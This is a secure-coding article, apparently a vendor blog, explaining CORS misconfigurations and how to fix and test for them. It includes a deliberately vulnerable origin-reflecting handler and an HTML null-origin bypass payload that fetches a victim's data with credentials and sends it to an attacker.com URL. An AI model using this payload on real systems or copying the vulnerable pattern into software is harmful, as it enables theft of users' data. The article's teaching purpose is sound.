The Same-Origin Policy

The same-origin policy (SOP) is the browser's fundamental security boundary. It prevents JavaScript running on attacker.com from reading responses from yourbank.com, even if the user is logged into their bank in the same browser.

Two URLs share the same origin only if protocol, host, and port all match. https://api.example.com and https://example.com are different origins. CORS is the mechanism by which servers explicitly grant cross-origin access when they need it β€” typically for SPAs calling their own APIs.

How CORS Works

When a browser makes a cross-origin request, it includes an Origin header. For simple requests, it sends the request and checks the response headers. For complex requests (non-GET/POST, custom headers), it sends a preflight OPTIONS request first.

The key response headers: Access-Control-Allow-Origin specifies which origin is permitted. Access-Control-Allow-Credentials: true tells the browser to include cookies. Access-Control-Allow-Methods and Access-Control-Allow-Headers define allowed methods and headers.

Wildcard Origins and Authentication

The most common mistake: setting Access-Control-Allow-Origin: * on an API that also uses cookies or Authorization headers. Browsers refuse to send credentials with wildcard origins β€” so developers then also set Access-Control-Allow-Credentials: true. This combination is invalid and browsers will reject it.

The dangerous pattern: Some servers dynamically reflect the request's Origin header as the Access-Control-Allow-Origin response, combined with Access-Control-Allow-Credentials: true. This allows any origin to make credentialed cross-origin requests to your API β€” equivalent to disabling the same-origin policy entirely.

Origin Reflection Attack

cors_config.py (vulnerable) Python
# Vulnerable: reflects any Origin back as allowed
def add_cors_headers(response, request):
    origin = request.headers.get("Origin", "*")
    response.headers["Access-Control-Allow-Origin"] = origin  # WRONG
    response.headers["Access-Control-Allow-Credentials"] = "true"

# Attack from attacker.com:
# fetch("https://api.target.com/user/profile", {credentials: "include"})
# β†’ gets victim's data because origin is reflected

null Origin Bypass

Some applications check for the null origin explicitly and allow it β€” because file:// requests and sandboxed iframes send Origin: null. Attackers can exploit this by hosting their payload in a sandboxed iframe:

attacker.html HTML
<!-- Sandboxed iframe sends Origin: null -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  srcdoc="<script>
    fetch('https://api.target.com/data', {credentials:'include'})
      .then(r=>r.text()).then(d=>location='https://attacker.com/?d='+d)
  </script>">
</iframe>

Never allow null as a permitted CORS origin in a production application.

Subdomain Trust Issues

Some applications allow all subdomains: any origin matching *.example.com. If any subdomain is compromised β€” a forgotten staging server, a subdomain takeover β€” the attacker can make credentialed cross-origin requests to your main API.

Correct CORS Configuration

cors_middleware.py Python (FastAPI)
from fastapi.middleware.cors import CORSMiddleware

# Explicit allowlist β€” no wildcard, no reflection
ALLOWED_ORIGINS = [
    "https://app.example.com",
    "https://admin.example.com",
]

app.add_middleware(
    CORSMiddleware,
    allow_origins=ALLOWED_ORIGINS,  # explicit list
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
    max_age=600,  # cache preflight for 10 minutes
)

Public APIs: If your API is genuinely public (no authentication, no user data), Access-Control-Allow-Origin: * is fine β€” and appropriate. The problem is only when wildcard is combined with credentials or sensitive data.

Testing for CORS Misconfigurations

terminal bash
# Test 1: Does it reflect arbitrary origins?
curl -H "Origin: https://evil.com" -I https://api.target.com/user
# Look for: Access-Control-Allow-Origin: https://evil.com

# Test 2: Does it allow null origin?
curl -H "Origin: null" -I https://api.target.com/user
# Look for: Access-Control-Allow-Origin: null

# Test 3: Does ACAO reflect subdomain variants?
curl -H "Origin: https://evil.target.com" -I https://api.target.com/user

Test Your API for CORS Misconfigurations

AquilaX DAST automatically tests your API endpoints for origin reflection, wildcard misuse, and null origin vulnerabilities on every scan.

Start Free Scan